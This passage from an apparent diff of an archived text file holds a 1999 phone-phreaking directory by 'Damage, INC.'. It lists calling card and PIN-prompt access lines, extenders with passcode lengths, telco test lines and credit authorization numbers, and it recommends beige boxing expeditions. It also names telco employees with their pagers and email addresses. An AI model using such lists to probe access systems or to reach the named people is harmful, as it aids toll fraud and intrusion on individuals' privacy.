America Online. +1-800-827-1200 American Directory Service Corporation. (order telephone books) +1-800-827-1225 IBM/NCR Retail Vendor Support Line. +1-800-828-3362 Novell Authorization Department. +1-800-829-1011 Network Management Center. +1-800-835-7788 US Telecom International. +1-800-842-2255 American Express VMS (Audix) +1-800-842-2737 Texas Instruments. +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-1810 Cypress Semiconductor. +1-800-858-4000 Novell Technical Support. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-879-7660 Iomega's Instant Access Help System. +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-892-3351 National Rifle Association (Join the NRA Now!) +1-800-900-DELL DELL. +1-800-909-3250 Meridian Mail VMB. +1-800-909-3436 Simtel Inc. Independent Payphone Service for New York/New Jersey +1-800-909-4672 National Rifle Association (NRA) +1-800-909-4945 Computer 411. +1-800-909-5008 LCC Network Services. +1-800-909-5109 Automated Transmitter System. +1-800-921-DELL DELL. +1-800-925-1111 TONE. Long Distance. +1-800-925-2289 US Tel Customer Service. +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-938-2255 Pilgrim Telephone. (Intimate Connections) +1-800-942-6227 Mostly Mac Inc. +1-800-949-6245 Phone Mail VMB. +1-800-951-2355 Cantel Communications. +1-800-954-6245 OcTel VMB. +1-800-999-2222 Pilgrim Telephone. +1-800-999-DELL DELL Canada. +1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-NCR Pilgrim Telephone. +1-800-HI-ITS-ME AlternaCall Collect Calls. +1-800-MOLSON-1 Molson Canada. +1-800-OK-CANON Canon Canada. +1-800-ONTARIO Travelinx Ontario. (Tourism Information) +1-800-SKY-8888 SkyTel System Access. +1-800-SKY-FAXE SkyFax (SkyTel Faxing) +1-800-SKY-GRAM Skyward (SkyTel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (SkyTel Numeric Paging) +1-800-SKY-TALK SkyTalk (SkyTel Voice Mail) +1-800-SKYTEL5 SkyTel. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-326-2826 NCR Bell Help Desk. +1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services. +1-877-396-1122 WinTel Communications. (owned by PRIMUS Canada) +1-877-396-3939 Union Telecom. +1-877-4-LUCENT Lucent Technologies. +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-724-2647 Security loser. +1-877-742-7722 Sharp Canada Customer Care Center. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-877-ROGERS-1 Rogers Corporation. +1-888-25-GREAT Cleveland hotline. +1-888-256-5678 NCR AlertLine. +1-888-257-8826 Cantel Centre de Communication. +1-888-349-6972 Micron Electronics Technical Support. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-478-2730 I-Star Internet Incorporated. +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services. +1-888-582-3688 Lucent Technologies. +1-888-622-3289 Fastekk Systems. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-692-1122 CompuServe. +1-888-715-2355 Call Home America Ultimate 800. +1-888-736-8567 Motorola. +1-888-751-8088 Guinness World Records. +1-888-825-2355 Connect America. +1-888-839-9295 IBM Haliburton Service Desk. +1-888-871-5111 Hewlett-Packard Computer Supplies. +1-888-DELL-PCS DELL Canada. +1-888-EMAIL-ME College Club Free VoiceMail. (U.S. only) +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-STAR-602 Star Choice Customer Service. +1-888-STCK-NCR NCR Corporation Associates Stock Ownership at Merrill Lynch. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +(416) 581-3311 irene.shimoda@bell.ca +(514) 786-3655 shirley.bishop@bell.ca +1-800-407-2355 John with Southwestern Bell Wireless. +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-465-9625 Bell Canada Media Relations (Shirley Bishop) +1-800-493-2603 Kimberly Smith at Qwest Communications. +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) +1-800-661-0480 Debbie Southerland of Bell ActiMedia. +1-888-482-0809 Bell Canada Media Relations (Irene Shimoda) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code." +1-800-352-8201 "Please enter your 4 digit PIN." +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-555-2250 "Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN." +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-749-4200 "Enter the PIN number you wish." +1-800-827-4780 "Please enter your PIN number." +1-800-827-9910 SkyTel. "Enter the PIN number you wish." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: +------------------------------------------------------------------------------- + +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-346-3247 CompuServe. +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-444-8697 RTK-NET. +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +------------------------------------------------------------------------------- + Cellular, PCS and Paging Services: +------------------------------------------------------------------------------- + +1-800-214-4488 Wireless Solutions Hotline. +1-800-222-8466 Cellular Rentals. +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-276-2355 Frontier Communications Customer Service. +1-800-374-2355 InterCall. +1-800-374-2776 Ericsson Mobile Phones Customer Care Center. +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-438-2355 Kentucky Cellular. +1-800-452-2355 Appalacian Wireless. +1-800-460-2255 Pager Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-549-2355 Advanced Cellular and Paging. +1-800-590-2355 ATI Cellular. +1-800-613-2355 Cellular Unlimited. +1-800-638-2355 Comcev Cellular Communications. +1-800-667-7243 Cantel AT&T Paging. +1-800-673-2355 Quintex Cellular. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-800-742-2355 Mobile Media. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israel Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage) +1-800-821-2355 MobileCom. +1-800-854-2355 MobileCall accounts. +1-800-866-2770 MobileCom. (pager service) +1-800-866-7000 MobilCom. +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-926-2355 Ubet Wireless. +1-800-980-2355 Light Cellular. +1-800-999-6500 Cable and Wireless Customer Care Center. +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-CELLPHONE Travel Phone (Cellular phone company) +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-593-2355 S&E Cellular. +1-888-638-2355 Cantel AT&T. +1-888-638-2355 Cantel AT&T. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-801-2355 Cell Phones and Accessories. +1-888-858-4PSI PSI Net Canada. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (Paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-CELL-COM CellCom and PageCom. +1-888-PSI-NET1 PSI Net Limited. +1-888-PSI-NET2 PSI Net Limited. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-800-487-4838 CompuServe. +1-800-776-3449 Prodigy. +1-800-777-9638 Sprynet - Gives you two disks. +1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-225-5475 Smart Cards USA. +1-800-265-3121 Prepaid LD. +1-800-277-7468 Sprint Prepaid Calling (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-303-5156 OLA Ontario Pre-paid calling card. +1-800-393-0711 7-11 Calling Cards. +1-800-396-2454 Tech-Card Customer Service. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-429-8036 OLA Ontario Pre-paid calling card Customer Service. +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-437-6415 Coca-Cola prepaid phone card dialup. +1-800-437-9291 Star Telecom Network "Please enter your card number." +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment, + pre-paid phone cards, etc.) +1-800-463-0004 Calling card service. +1-800-475-9105 Customer Service for pre-paid calling cards. +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-662-6214 AT&T Calling Cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-783-1414 Frontier Access Card. +1-800-811-3728 Globo Prepaid Phone Cards (10 digit codes) (automated) +1-800-814-2808 Sprint Prepaid calling card service. +1-800-827-8750 "Please enter your calling card number." +1-800-836-2255 "Press 1 for English, 2 for Korean. Enter your card number." +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-864-7000 Premier World Link Access Number. +1-800-909-3191 Tech-Card (William Shatner) +1-800-909-3206 MCI WorldCom Pre-paid Card System +1-800-909-3207 MCI WorldCom Pre-paid Card System +1-800-909-3212 MCI WorldCom Pre-paid Card System +1-800-909-3214 GTN-Phone Card System +1-800-909-3215 Pre-paid Calling Card System +1-800-909-3217 1-800 Pre-paid +1-800-909-3218 1-800 Pre-paid +1-800-909-3219 1-800 Pre-paid +1-800-909-3225 MCI WorldCom Pre-paid Card System +1-800-909-3231 MCI WorldCom Pre-paid Card System +1-800-909-3236 MCI WorldCom Pre-paid Card System +1-800-909-3240 MCI WorldCom Pre-paid Card System +1-800-909-3242 MCI WorldCom Pre-paid Card System +1-800-909-3245 MCI-Exchange Card Service +1-800-909-3477 Pre-paid Long-Distance Service +1-800-909-3533 Pre-paid Long-Distance Phonecard (PEI/PC) +1-800-909-3640 MCI WorldCom Pre-paid Card System +1-800-909-3641 MCI WorldCom Pre-paid Card System +1-800-909-3642 MCI WorldCom Pre-paid Card System +1-800-909-3643 "All State" (MCI WorldCom Pre-paid Card System) +1-800-909-3646 MCI WorldCom Pre-paid Card System +1-800-909-3653 MCI WorldCom Pre-paid Card System +1-800-909-3654 MCI WorldCom Pre-paid Card System +1-800-909-3657 MCI WorldCom Pre-paid Card System +1-800-909-3661 Pre-paid Calling Card System +1-800-909-4495 Calling Card System (Insimity Point Security Code) +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-999-9000 TONE. "Please enter your MCI WorldCom card number now." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-877-258-9088 Globo Prepaid Phone Cards Customer Service. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-475-4455 Conference Calling Center. +1-800-475-6894 Quarrel Conferencing. +1-800-525-8244 Frontier Confertech. +1-800-544-6363 AT&T Alliance Teleconference Service (U.S.) +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-569-0788 A Better Conference. +1-800-625-5288 Teleconference Playback Center. +1-800-668-4210 Frontier ConferTech. +1-800-827-1700 Conference Call USA. +1-800-886-2355 Frontier Teleconferencing. +1-800-900-6338 Advantage Conferencing Services. +1-800-925-8000 Conference America. +1-800-962-0044 Conf Call USA. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1111 American Express. +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-555-1880 Fleet's Card Activation and PIN line. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. +1-800-925-8888 Automated Authorization Centre. (Credit Cards) + + +------------------------------------------------------------------------------- + Canadian Security Intelligence Service (CSIS): +------------------------------------------------------------------------------- + +(204) 983-5405 CSIS in Winnipeg. +(306) 780-5512 CSIS in Saskatchewan. +(403) 292-5255 CSIS in Calgary. +(403) 421-5800 CSIS in Edmonton. +(416) 865-1480 CSIS in Toronto. +(418) 529-8926 CSIS in Quebec City. +(506) 452-3786 CSIS in Fredericton. +(514) 393-5600 CSIS in Montreal. +(604) 528-7400 CSIS in British Columbia. +(613) 993-9620 CSIS HQ in Ottawa. +(613) 998-1679 CSIS. +(709) 772-5449 CSIS in Newfoundland. +(902) 420-5900 CSIS in Halifax. +1-800-267-7685 CSIS (Ontario only) +1-800-564-0866 CSIS (Toronto region) +1-800-661-5780 CSIS (Alberta/Saskatchewan/Manitoba/Thunder Bay only) + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 895-2255 Extender. (5 digit passcode) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(847) 823-9995 Gives reading on the Bell CO, including alert and battery + conditions and temperature. Also allows you to check the sound + levels, allowing you to hear inside the CO. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-221-0200 Siren Tones. +1-800-225-5122 "We are sorry but this program has not started. Thank you for + calling." +1-800-225-5300 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-225-5563 Ring+Silent line. +1-800-225-5871 High Tone then Dialtone. +1-800-265-1111 High Tone. +1-800-356-2255 Dialtone. +1-800-361-8313 Bell Canada. "There is no service at this number." +1-800-369-2255 Silent line. +1-800-430-7938 DMS. +1-800-437-3025 No Ring+Silent Line. +1-800-437-8351 High Tones. +1-800-444-1677 Siren Tones. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 1 Ring then silent line. +1-800-465-7735 Strange Tones. +1-800-475-2037 Siren Tones. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-2655 "We're sorry, we're unable to place a call from this number." +1-800-483-2933 Siren Tones. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-522-2255 Dialtone. +1-800-555-1120 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-555-1220 Same message as 1-800-555-1120. +1-800-555-1226 Siren Tones. +1-800-555-2123 Tones. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-555-6690 Tone. +1-800-565-6737 High Tone. +1-800-624-2255 "We're sorry. We're unable to place a call from this number. + Goodbye." +1-800-638-0156 Tones. +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-827-0000 "You have entered an invalid telephone number..." +1-800-827-0011 "We're sorry, all circuits are now busy..." +1-800-827-0036 No Ring+Click+Trunk Busy. +1-800-827-0058 High Tone. +1-800-827-1227 Ring+Trunk Busy. +1-800-827-3210 NIS (Reads back 827-3210) +1-800-827-3750 "You have dialed an invalid location." +1-800-827-7878 "You have dialed an invalid location." +1-800-827-9010 "We're sorry, the number you have called is an invalid number." +1-800-827-9876 NIS (Reads back 827-9876) +1-800-827-9890 "You have reached a number that is NIS at this time. 827-9890." +1-800-827-9892 "You have reached a number that is NIS at this time. 827-9892." +1-800-827-9904 "You have reached a number that is NIS at this time. 827-9904." +1-800-861-9905 Loud Ring+Tones then "Thank you. Please hang up now." +1-800-862-6338 Blast of Noise. Some type of test line. +1-800-866-9317 High Tone +1-800-877-8000 Low Tone +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-909-3467 Low Tone (PBX) +1-800-909-4358 High Tone. +1-800-909-4364 High Tone. +1-800-925-0288 "This is not a valid number." +1-800-925-3300 Low Tone. +1-800-925-6620 Low Tone. +1-800-925-8300 Rings+Silent Line. +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-877-900-EASY "You have reached an inactive number on the EasyTel network." +1-888-374-2355 "You have entered an invalid telephone number." +1-888-468-2355 "Due to technical difficulties we cannot record your message + at this time." +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV FAX-Back +1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services FAX-Back. (order Tandy docs!) +1-800-345-1518 Compaq Computer PaqFax +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Main number (get product info by FAX). +1-800-483-2495 Central FAX on demand system. (FAX-Back) +1-800-521-2846 Brother FAX-Back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-822-4269 Borland Tech-Fax Document Retrieval System (3,2,1,AC,NUM,#,1,3,1) +1-800-827-3000 Elite Group (press 1 for Fax-back) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX-Back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-909-0261 Apple Fax. +1-800-909-0263 3M Economic Services Fax-On-Demand System. +1-800-909-0264 Kinko's Fax-On-Demand Service. +1-800-909-0269 Co-merica Bank, California's Fax-On-Demand Service. +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER SkyTel Customer Service. (press 3 for FAX on demand for docs) +1-888-322-8444 Hartford Shareholders News & Info FAX-Back (3,1,AC,NUM) + + +------------------------------------------------------------------------------- + Yellow Pages: +------------------------------------------------------------------------------- + +(519) 579-2252 Baca Communications. (Bell Mobility Dealer) +(519) 654-2211 Bestel Message Centre Ltd. (Paging Services) +(519) 725-2570 Bell Mobility Baca. +(519) 744-7781 Bell Mobility Centre (Highland Hills Mall) +(519) 745-3900 Bestel Message Centre Ltd. (Full Messaging, Voice Mail, Paging) +(519) 893-8777 Bell World. +(519) 894-2211 Bell Mobility Cellular Plus Centre. +1-800-311-WORK Bell Canada. +1-800-387-7243 (1-800-387-PAGE) Bell Mobility Paging. +1-800-917-1917 Bell Canada's Advantage Call Centre Solutions. + +(519) 888-9660 Cantel AT&T Store (Connestoga Mall) +(519) 893-1811 Cantel AT&T Automated Self-Service System. +1-800-268-1087 Cantel AT&T Paging Customer Service. +1-888-353-4726 (1-88-TELEGRAM) AT&T Canada. (Send a Telegram Worldwide) + +(519) 741-5990 London Telecom Network. +(519) 743-3602 Extend Communications Inc. (Pagers, Voice Mail Boxes, etc.) +(519) 748-3200 Rogers Cablesystems General Enquiries. +(519) 749-2434 Clearnet Business Communications Centre. (Paging, PCS, etc.) +(519) 893-2310 Rogers Technical Assistance. +(519) 893-4400 Rogers Community Programming. +(519) 896-7600 Ericsson Communications Canada Inc. +(905) 561-5443 Digital Mobile Systems Inc. + +1-800-216-0888 PageNet. +1-800-263-4824 Digital Mobile. (Authorized Motorola Dealer) +1-800-265-8725 Shaw Paging. +1-800-270-8220 SOS 2000. (Government Canada line that lists businesses which + offer Year 2000 expertise and services) +1-800-453-6835 Glentel Inc. Mobile Satellites. +1-800-838-0298 MRC Systems Inc. +1-888-253-2763 (1-888-CLEARNET) Clearnet Inc. +1-888-474-3486 Iridium Canada. (Voice, Data, FAX & Paging Services) + + +Internet: + +(519) 570-2121 GO INTERNET CAFE. +(519) 651-3400 Sentex Communications. +(519) 885-0211 BondNet Internet Services Inc. (Cisco Systems Reseller, Lucent + Technologies Agent) +1-800-263-8433 Burlington Network Services. +1-800-668-2857 Wightman Telecommunications. (ISP) +1-800-773-4638 Globalserve Internet. +1-888-298-3447 Netcom Canada. +1-888-4-SENTEX Sentex Communications. +1-888-6-NEWNET New Net Technologies Group. + + +Cable: + +1-800-267-1919 CaTech Systems LTD. +1-800-400-4954 Cablecom International. +1-877-342-3726 Fiber Core Communications. +1-877-652-0088 First Call Locate Service. + + +Telephone Companies: + +(519) 651-2000 A-TEL Communications. (Press "9" to dial out) +(519) 651-2250 A-TEL Communications. +(519) 744-4455 A Telephone Man. (listed under Telephone Companies) +(519) 744-9640 A + Tel Inc. +(519) 745-0856 Telnet Communications. +(519) 746-3357 Sprint Canada Inc. + + +Telephone Directories: + +(519) 571-7700 Bell ActiMedia. +(519) 658-2001 Kitchener-Waterloo Talking Yellow Pages. (Gives local time & + temperature) + + +Telephone Equipment: + +(519) 570-3609 Brant Telephone. (Authorized AT&T Canada and Lucent Technologies + Dealer. Long Distance and Conferencing Services) +(519) 570-0885 WilTel. +(519) 570-1320 Greb Tele-Data Inc. (Authorized Sprint Canada Sales & Service) +(519) 650-2000 City-Com Communications (Golden Triangle) Inc. +(519) 654-2000 Regional Telecom. +(519) 654-2003 Intelicom Systems. +(519) 658-4588 Instatel Communications +(519) 741-9262 Barrett B J Communications. +(519) 744-6500 Tele-Connect. +(519) 747-3333 PhoneMaster. (Authorized Sprint Dealer) +(519) 748-1177 J&D Systems Inc. (Nortel Networks Authorized Distributor) +(519) 748-2228 Telefficiency. (Authorized Nortel, Meridian, etc. Distributor) +(519) 748-5832 Delphi Solutions. (Authorized Sprint Canada Agent) +(519) 883-4109 Exceltech. (Telephone equipment services) +1-800-932-9443 J P Cable Installations Ltd. (Authorized Bell Agent) +1-888-276-1604 Telecom-Tech. +1-888-7-DELPHI Delphi Solutions Customer Service. + + +Long Distance: + +(519) 220-1120 Ability Telecom. (Flat Rate Long Distance) +(519) 576-7077 Distributel Communications Ltd. (Long Distance Service) +(519) 651-2250 Fone Pass (formerly Ad-Tel Communications) +(519) 654-9614 Ontel Long Distance (Flat Rate, Worldwide Long Distance) +1-800-670-2266 AT&T Canada Long Distance. +1-800-700-0017 Glentel Inc. (Long Distance) +1-888-266-1313 WinTel Communications. (Long Distance) +1-888-676-7777 Bell Canada Advantage Optimum savings program. +1-888-824-1032 Telelink Canada. (Flat Rate Long Distance) + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover any dupes, numbers that are no longer in service or ones that have +been misidentified, please notify us in Email at damage_inc@disinfo.net and +report the error. This list is updated and released on a quarterly basis. So, +if you send numbers your alias will be included in the next edition, which we +expect to release sometime early in the year 2000. Again, contributions are +encouraged and appreciated. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. It's a large, ongoing project that wouldn't exist +without their support, and we appreciate the efforts that they've made towards +this compilation of numbers. If you contributed in some way but were neglected +to be mentioned, contact Damage, INC. and notify us about the oversight. + +Contributors/Greets: + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision, +Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y, +Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper, +Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, Fringe, +KingPiN, tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, +not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204), +Snake Eyes. + +Special thanks goes out to RedBoxChiliPepper (Phone Losers of America) for the +the PLA Telephone Director0y. It was an inspiration to us. :) + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless + + Copyright 1999 by Damage, INC. All Rights Reserved. diff --git a/textfiles.com/groups/DAMAGEINC/dam99spr.txt b/textfiles.com/groups/DAMAGEINC/dam99spr.txt new file mode 100644 index 00000000..40c37f7b --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam99spr.txt @@ -0,0 +1,1078 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ú Spring 1999 Edition ú + (Released: 03/31/99) + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + +Intro: + +This is the first edition of the Damage, INC. Phreaky Field Phreaking List. We +recommend that you print it out and take it with you on beige boxing/junction +boxing expeditions. Hell, just take it with you wherever you travel. You never +know when you're going to need it. :) The list will be updated and released on 